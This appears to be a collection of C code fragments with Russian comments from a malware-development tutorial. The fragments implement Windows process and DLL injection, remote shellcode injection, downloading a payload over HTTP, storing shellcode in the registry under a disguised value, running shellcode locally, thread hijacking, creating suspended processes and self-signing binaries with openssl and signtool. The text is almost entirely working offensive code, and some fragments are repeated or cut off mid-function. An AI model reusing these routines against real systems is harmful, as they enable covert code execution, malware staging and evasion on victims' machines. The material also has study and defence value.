  CHAR      szExeFile[MAX_PATH];        // Имя исполняемого файла процесса
} PROCESSENTRY32;

// Получение информации о первом процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
    printf("[!] Process32First Failed With Error : %d \n", GetLastError());
    goto _EndOfFunction;
}

do {
    // Используйте оператор точки для извлечения имени процесса из заполненной структуры
    // Если имя процесса совпадает с тем, что мы ищем
    if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
        // Используйте оператор точки для извлечения идентификатора процесса из заполненной структуры
        // Сохраните PID
        *dwProcessId  = Proc.th32ProcessID;
        // Откройте дескриптор процесса
        *hProcess     = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
        if (*hProcess == NULL)
            printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

        break; // Выход из цикла
    }

// Получение информации о следующем процессе в снимке.
// Пока в снимке еще остается процесс, продолжайте цикл
} while (Process32Next(hSnapShot, &Proc));

BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

    // Согласно документации:
    // Перед вызовом функции Process32First установите этот член в sizeof(PROCESSENTRY32).
    // Если dwSize не инициализирован, Process32First завершится неудачей.
    PROCESSENTRY32    Proc = {
        .dwSize = sizeof(PROCESSENTRY32)
    };

    HANDLE hSnapShot = NULL;

    // Создает снимок всех в данный момент выполняющихся процессов
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE){
        printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом процессе в снимке.
    if (!Process32First(hSnapShot, &Proc)) {
        printf("[!] Process32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        // Используйте оператор точки для извлечения имени процесса из заполненной структуры
        // Если имя процесса совпадает с тем, что мы ищем
        if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
            // Используйте оператор точки для извлечения идентификатора процесса из заполненной структуры
            // Сохраните PID
            *dwProcessId = Proc.th32ProcessID;
            // Откройте дескриптор процесса
            *hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
            if (*hProcess == NULL)
                printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

            break; // Выход из цикла
        }

    // Получение информации о следующем процессе в снимке.
    // Пока в снимке еще остается процесс, продолжайте цикл
    } while (Process32Next(hSnapShot, &Proc));

    // Очистка ресурсов
    _EndOfFunction:
        if (hSnapShot != NULL)
            CloseHandle(hSnapShot);
        if (*dwProcessId == NULL || *hProcess == NULL)
            return FALSE;
        return TRUE;
}

BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {

    // Согласно документации:
    // Перед вызовом функции Process32First установите этот член в sizeof(PROCESSENTRY32).
    // Если dwSize не инициализирован, Process32First завершится неудачей.
    PROCESSENTRY32    Proc = {
        .dwSize = sizeof(PROCESSENTRY32)
    };

    HANDLE hSnapShot = NULL;

    // Создает снимок всех в данный момент выполняющихся процессов
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (hSnapShot == INVALID_HANDLE_VALUE){
        printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    // Получение информации о первом процессе в снимке.
    if (!Process32First(hSnapShot, &Proc)) {
        printf("[!] Process32First Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    do {
        WCHAR LowerName[MAX_PATH * 2];

        if (Proc.szExeFile) {
            DWORD    dwSize = lstrlenW(Proc.szExeFile);
            DWORD   i = 0;

            RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

            // Преобразование каждого символа в Proc.szExeFile в символ нижнего регистра
            // и сохранение его в LowerName
            if (dwSize < MAX_PATH * 2) {
                for (; i < dwSize; i++)
                    LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

                LowerName[i++] = '\0';
            }
        }

        // Если преобразованное в нижний регистр имя процесса совпадает с искомым процессом
        if (wcscmp(LowerName, szProcessName) == 0) {
            // Сохраните PID
            *dwProcessId = Proc.th32ProcessID;
            // Откройте дескриптор процесса
            *hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
            if (*hProcess == NULL)
                printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

            break;
        }

    // Получение информации о следующем процессе в снимке.
    // Пока в снимке еще остается процесс, продолжайте цикл
    } while (Process32Next(hSnapShot, &Proc));

    // Очистка ресурсов
    _EndOfFunction:
        if (hSnapShot != NULL)
            CloseHandle(hSnapShot);
        if (*dwProcessId == NULL || *hProcess == NULL)
            return FALSE;
        return TRUE;
    }

// LoadLibrary экспортируется kernel32.dll
// Поэтому получен дескриптор kernel32.dll, а затем адрес LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

// Выделяет память размером dwSizeToWrite (это размер имени dll) внутри удаленного процесса, hProcess.
// Защита памяти - Чтение-Запись
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,               // Дескриптор процесса, память которого будет записана
  [in]  LPVOID  lpBaseAddress,          // Базовый адрес в указанном процессе, в который будут записаны данные
  [in]  LPCVOID lpBuffer,               // Указатель на буфер, содержащий данные для записи в 'lpBaseAddress'
  [in]  SIZE_T  nSize,                  // Количество байт, которые будут записаны в указанный процесс.
  [out] SIZE_T  *lpNumberOfBytesWritten // Указатель на переменную 'SIZE_T', которая получает количество фактически записанных байтов
);

// Записанные данные - это имя DLL, 'DllName', размером 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)

// Точка входа потока будет 'pLoadLibraryW', который является адресом LoadLibraryW
// Имя DLL, pAddress, передается в качестве аргумента для LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);

BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {

    BOOL        bSTATE                    = TRUE;

    LPVOID        pLoadLibraryW             = NULL;
    LPVOID        pAddress                  = NULL;

    // получение размера DllName *в байтах* (для записи в память процесса)
    DWORD        dwSizeToWrite             = (wcslen(DllName) + 1) * sizeof(WCHAR);

    // Получение адреса LoadLibraryW
    pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    if (pLoadLibraryW == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Выделение памяти в удаленном процессе
    pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Запись DllName в выделенный регион памяти
    SIZE_T lpNumberOfBytesWritten = NULL;
    if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)) {
        printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
        VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
        return FALSE;
    }

    // Создание нового потока для загрузки Dll
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
    if (hThread == NULL) {
        printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
        VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
        return FALSE;
    }

    // Ожидание завершения потока
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    // Освобождение выделенной памяти
    VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);

    return bSTATE;
}

BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите член dwSize в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован, Process32First завершится с ошибкой.
PROCESSENTRY32 Proc = {
    .dwSize = sizeof(PROCESSENTRY32)
};

HANDLE hSnapShot = NULL;

// Создает снимок текущих выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
    printf("[!] CreateToolhelp32Snapshot завершилось с ошибкой: %d \n", GetLastError());
    goto _EndOfFunction;
}

// Получает информацию о первом обнаруженном процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
    printf("[!] Process32First завершилось с ошибкой: %d \n", GetLastError());
    goto _EndOfFunction;
}

do {

    WCHAR LowerName[MAX_PATH * 2];

    if (Proc.szExeFile) {
        DWORD dwSize = lstrlenW(Proc.szExeFile);
        DWORD i = 0;

        RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

        // Преобразование каждого символа в Proc.szExeFile в символ в нижнем регистре
        // и сохранение его в LowerName
        if (dwSize < MAX_PATH * 2) {

            for (; i < dwSize; i++)
                LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

            LowerName[i++] = '\0';
        }
    }

    // Если имя процесса в нижнем регистре совпадает с искомым процессом
    if (wcscmp(LowerName, szProcessName) == 0) {
        // Сохранить PID
        *dwProcessId = Proc.th32ProcessID;
        // Открыть дескриптор процесса
        *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
        if (*hProcess == NULL)
            printf("[!] OpenProcess завершилось с ошибкой: %d \n", GetLastError());

        break;
    }

// Получает информацию о следующем процессе, зарегистрированном в снимке.
// Пока в снимке остается процесс, продолжаем цикл
} while (Process32Next(hSnapShot, &Proc));

// Очистка
_EndOfFunction:
    if (hSnapShot != NULL)
        CloseHandle(hSnapShot);
    if (*dwProcessId == NULL || *hProcess == NULL)
        return FALSE;
    return TRUE;
}

BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {

PVOID pShellcodeAddress = NULL;

SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;

// Выделяем память в удаленном процессе размером sSizeOfShellcode
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
    printf("[!] VirtualAllocEx завершилось с ошибкой: %d \n", GetLastError());
    return FALSE;
}
printf("[i] Выделена память по адресу: 0x%p \n", pShellcodeAddress);


printf("[#] Нажмите <Enter> для записи полезной нагрузки... ");
getchar();
// Записываем shellcode в выделенную память
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
    printf("[!] WriteProcessMemory завершилось с ошибкой: %d \n", GetLastError());
    return FALSE;
}
printf("[i] Успешно записано %d байт\n", sNumberOfBytesWritten);

memset(pShellcode, '\0', sSizeOfShellcode);

// Делаем память выполнимой
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtectEx завершилось с ошибкой: %d \n", GetLastError());
    return FALSE;
}


printf("[#] Нажмите <Enter> для выполнения... ");
getchar();
printf("[i] Выполнение полезной нагрузки... ");

// Запускаем shell
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
        return FALSE;
}

    printf("[+] DONE !\n");
    return TRUE;
}

BOOL VirtualFreeEx(
[in] HANDLE hProcess,
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);

python -m http.server 8000

HINTERNET InternetOpenW(
[in] LPCWSTR lpszAgent, // NULL
[in] DWORD dwAccessType, // NULL или INTERNET_OPEN_TYPE_PRECONFIG
[in] LPCWSTR lpszProxy, // NULL
[in] LPCWSTR lpszProxyBypass, // NULL
[in] DWORD dwFlags // NULL
);

// Открытие сеанса интернета
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

HINTERNET InternetOpenUrlW(
[in] HINTERNET hInternet, // Дескриптор, открытый с помощью InternetOpenW
[in] LPCWSTR lpszUrl, // URL payload
[in] LPCWSTR lpszHeaders, // NULL
[in] DWORD dwHeadersLength, // NULL
[in] DWORD dwFlags, // INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
[in] DWORD_PTR dwContext // NULL
);

hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

BOOL InternetReadFile(
[in] HINTERNET hFile, // Дескриптор, открытый с помощью InternetOpenUrlW
[out] LPVOID lpBuffer, // Буфер для хранения payload
[in] DWORD dwNumberOfBytesToRead, // Количество байт для чтения
[out] LPDWORD lpdwNumberOfBytesRead // Указатель на переменную, которая получает количество прочитанных байт
);

pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)

BOOL InternetCloseHandle(
[in] HINTERNET hInternet // Дескриптор, открытый с помощью InternetOpenW и InternetOpenUrlW
);

InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);

BOOL GetPayloadFromUrl() {

    HINTERNET    hInternet              = NULL,
                hInternetFile          = NULL;

    PBYTE        pBytes                 = NULL;

    DWORD        dwBytesRead            = NULL;

    // Открытие дескриптора сеанса интернета
    hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
    if (hInternet == NULL) {
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Открытие дескриптора для URL payload
    hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL) {
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Выделение буфера для payload
    pBytes = (PBYTE)LocalAlloc(LPTR, 272);

    // Чтение payload
    if (!InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)) {
        printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    InternetCloseHandle(hInternet);
    InternetCloseHandle(hInternetFile);
    InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    LocalFree(pBytes);

    return TRUE;
}

BOOL GetPayloadFromUrl() {

    HINTERNET    hInternet              = NULL,
                hInternetFile          = NULL;

    DWORD        dwBytesRead            = NULL;

    SIZE_T        sSize                   = NULL; // Используется в качестве общего размера payload

    PBYTE        pBytes                  = NULL; // Используется в качестве общего буфера payload
    PBYTE        pTmpBytes               = NULL; // Используется как временный буфер размером 1024 байта

    // Открытие дескриптора сеанса интернета
    hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
    if (hInternet == NULL) {
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Открытие дескриптора для URL payload
    hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL) {
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Выделение 1024 байтов для временного буфера
    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
    if (pTmpBytes == NULL) {
        return FALSE;
    }

    while (TRUE) {

        // Чтение 1024 байтов во временный буфер
        // InternetReadFile будет читать меньше байт в случае, если последний фрагмент меньше 1024 байтов
        if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
            printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
            return FALSE;
        }

        // Обновление размера общего буфера
        sSize += dwBytesRead;

        // В случае, если общий буфер еще не выделен
        // затем выделите его в размере считанных байтов, так как они могут быть меньше 1024 байтов
        if (pBytes == NULL)
            pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
        else
            // В противном случае, перераспределите pBytes равным общему размеру, sSize.
            // Это необходимо для размещения всего payload
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

        if (pBytes == NULL) {
            return FALSE;
        }

        // Добавить временный буфер в конец общего буфера
        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);

        // Очистите временный буфер
        memset(pTmpBytes, '\0', dwBytesRead);

        // Если было прочитано меньше 1024 байтов, это означает, что достигнут конец файла
        // Следовательно, выйти из цикла
        if (dwBytesRead < 1024) {
            break;
        }

        // В противном случае, читайте следующие 1024 байта
    }

    // Завершение работы
    InternetCloseHandle(hInternet);
    InternetCloseHandle(hInternetFile);
    InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    LocalFree(pTmpBytes);
    LocalFree(pBytes);

    return TRUE;
}

BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
 
    BOOL        bSTATE            = TRUE;

    HINTERNET    hInternet         = NULL,
                hInternetFile     = NULL;

    DWORD        dwBytesRead       = NULL;

    SIZE_T        sSize             = NULL;
    PBYTE        pBytes            = NULL,
                pTmpByte          = NULL;

    hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);
    if (hInternet == NULL){
        printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
    if (hInternetFile == NULL){
        printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
    if (pTmpBytes == NULL){
        bSTATE = FALSE; goto _EndOfFunction;
    }

    while (TRUE){
        if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
            printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
            bSTATE = FALSE; goto _EndOfFunction;
        }

        sSize += dwBytesRead;

        if (pBytes == NULL)
            pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
        else
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

        if (pBytes == NULL) {
            bSTATE = FALSE; goto _EndOfFunction;
        }

        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
        memset(pTmpBytes, '\0', dwBytesRead);

        if (dwBytesRead < 1024){
            break;
        }
    }

    *pPayloadBytes = pBytes;
    *sPayloadSize  = sSize;

_EndOfFunction:
    if (hInternet)
        InternetCloseHandle(hInternet);
    if (hInternetFile)
        InternetCloseHandle(hInternetFile);
    if (hInternet)
        InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
    if (pTmpBytes)
        LocalFree(pTmpBytes);
    return bSTATE;
}

#define WRITEMODE // Код, который будет скомпилирован в случае если нужно записать данные в реестр

// если определено 'WRITEMODE'
#ifdef WRITEMODE
    // Код, необходимый для записи payload в реестр
#endif
#ifdef READMODE // Код, который НЕ будет скомпилирован
#endif

#define READMODE // Код, который будет скомпилирован в случае если нужно считать данные из реестра

// если определено 'READMODE'
#ifdef READMODE
    // Код, необходимый для чтения payload из реестра
#endif
#ifdef WRITEMODE // Код, который НЕ будет скомпилирован
#endif

// Ключ реестра для чтения/записи
#define REGISTRY "Control Panel"
#define REGSTRING "RuSferaPW"

LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,              // Дескриптор открытого ключа реестра
  [in, optional] LPCSTR lpSubKey,          // Имя открываемого подключа реестра (константа REGISTRY)
  [in]           DWORD  ulOptions,          // Опции при открытии ключа - Установлено в 0
  [in]           REGSAM samDesired,          // Права доступа
  [out]          PHKEY  phkResult          // Указатель на переменную, которая получает дескриптор открытого ключа
);

STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,         // Дескриптор открытого ключа реестра
  [in, optional] LPCSTR     lpValueName,  // Имя устанавливаемого значения (константа REGSTRING)
                 DWORD      Reserved,     // Установлено в 0
  [in]           DWORD      dwType,       // Тип данных, на который указывает параметр lpData
  [in]           const BYTE *lpData,      // Данные для сохранения
  [in]           DWORD      cbData        // Размер информации, на которую указывает параметр lpData, в байтах
);

STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);

LSTATUS RegCloseKey(
  [in] HKEY hKey // Дескриптор открытого ключа реестра, который будет закрыт
);

BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {

    BOOL        bSTATE  = TRUE;
    LSTATUS     STATUS  = NULL;
    HKEY        hKey    = NULL;

    printf("[i] Запись 0x%p [ Размер: %ld ] в \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);

    STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
    if (ERROR_SUCCESS != STATUS) {
        printf("[!] Ошибка при открытии ключа RegOpenKeyExA: %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }

    STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
    if (ERROR_SUCCESS != STATUS){
        printf("[!] Ошибка при записи RegSetValueExA: %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("[+] Готово ! \n");


_EndOfFunction:
    if (hKey)
        RegCloseKey(hKey);
    return bSTATE;
}

pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);

LSTATUS RegGetValueA(
  [in]                HKEY    hkey,     // Дескриптор открытого ключа реестра
  [in, optional]      LPCSTR  lpSubKey, // Путь к ключу реестра относительно ключа, указанного в параметре hkey
  [in, optional]      LPCSTR  lpValue,  // Имя значения в реестре
  [in, optional]      DWORD   dwFlags,  // Флаги, которые ограничивают тип данных значения, которое будет запрошено
  [out, optional]     LPDWORD pdwType,  // Указатель на переменную, которая получит код, указывающий тип данных, сохраненных в указанном значении
  [out, optional]     PVOID   pvData,   // Указатель на буфер, который получит данные значения
  [in, out, optional] LPDWORD pcbData   // Указатель на переменную, которая определяет размер буфера, на который указывает параметр pvData, в байтах
);

STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);

BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {

    PVOID pShellcodeAddress = NULL;
    DWORD dwOldProtection   = NULL;

    // Выделение виртуальной памяти для исполняемого payload
    pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] Ошибка при выделении памяти VirtualAlloc: %d \n", GetLastError());
        return FALSE;
    }

    printf("[i] Выделенная память по адресу: 0x%p \n", pShellcodeAddress);

    // Копирование расшифрованного payload в выделенный адрес
    memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
    // Обнуление исходного расшифрованного payload
    memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);

    // Изменение прав доступа к памяти для обеспечения возможности выполнения
    if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] Ошибка при изменении прав доступа VirtualProtect: %d \n", GetLastError());
        return FALSE;
    }

    printf("[#] Нажмите <Enter>, чтобы запустить ... ");
    getchar();

    // Создание потока для исполнения payload
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] Ошибка при создании потока CreateThread: %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365

openssl pkcs12 -inkey key.pem -in cert.pem -export -out sign.pfx

signtool sign /f sign.pfx /p <pfx-password> /t http://timestamp.digicert.com /fd sha256 binary.exe

BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    PVOID    pAddress         = NULL;
    DWORD    dwOldProtection  = NULL;
    CONTEXT  ThreadCtx        = {
        .ContextFlags = CONTEXT_CONTROL
    };

    // Allocating memory for the payload
    pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL){
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Copying the payload to the allocated memory
    memcpy(pAddress, pPayload, sPayloadSize);

    // Changing the memory protection
    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the original thread context
    if (!GetThreadContext(hThread, &ThreadCtx)){
        printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Updating the next instruction pointer to be equal to the payload's address
    ThreadCtx.Rip = pAddress;

    // Updating the new thread context
    if (!SetThreadContext(hThread, &ThreadCtx)) {
        printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

int main() {

    HANDLE hThread = NULL;

    // Создание безобидного потока в приостановленном состоянии
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
    if (hThread == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Похищение созданного потока
    if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
        return -1;
    }

    // Возобновление приостановленного потока, чтобы он выполнил наш шеллкод
    ResumeThread(hThread);

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;        // Дескриптор только что созданного процесса.
  HANDLE hThread;         // Дескриптор основного потока только что созданного процесса.
  DWORD  dwProcessId;     // Идентификатор процесса
  DWORD  dwThreadId;      // Идентификатор основного потока
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize
);

BOOL CreateSuspendedProcess(IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
    CHAR lpPath[MAX_PATH * 2];
    CHAR WnDr[MAX_PATH];

    STARTUPINFO Si = { 0 };
    PROCESS_INFORMATION Pi = { 0 };

    // Очистка структур, устанавливая значения членов в 0
    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    // Установка размера структуры
    Si.cb = sizeof(STARTUPINFO);

    // Получение значения переменной окружения %WINDIR%
    if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
        printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Создание полного пути к целевому процессу
    sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
    printf("\n\t[i] Running : \"%s\" ... ", lpPath);

    if (!CreateProcessA(
        NULL,                   // Нет имени модуля (использовать командную строку)
        lpPath,                 // Командная строка
        NULL,                   // Дескриптор процесса не наследуется
        NULL,                   // Дескриптор потока не наследуется
        FALSE,                  // Установить наследование дескриптора в FALSE
        CREATE_SUSPENDED,       // Флаг создания
        NULL,                   // Использовать окружение родителя
        NULL,                   // Использовать рабочий каталог родителя
        &Si,                    // Указатель на структуру STARTUPINFO
        &Pi)) {                 // Указатель на структуру PROCESS_INFORMATION

        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] DONE \n");

    // Заполнение выходных параметров результатами CreateProcessA
    *dwProcessId = Pi.dwProcessId;
    *hProcess = Pi.hProcess;
    *hThread = Pi.hThread;

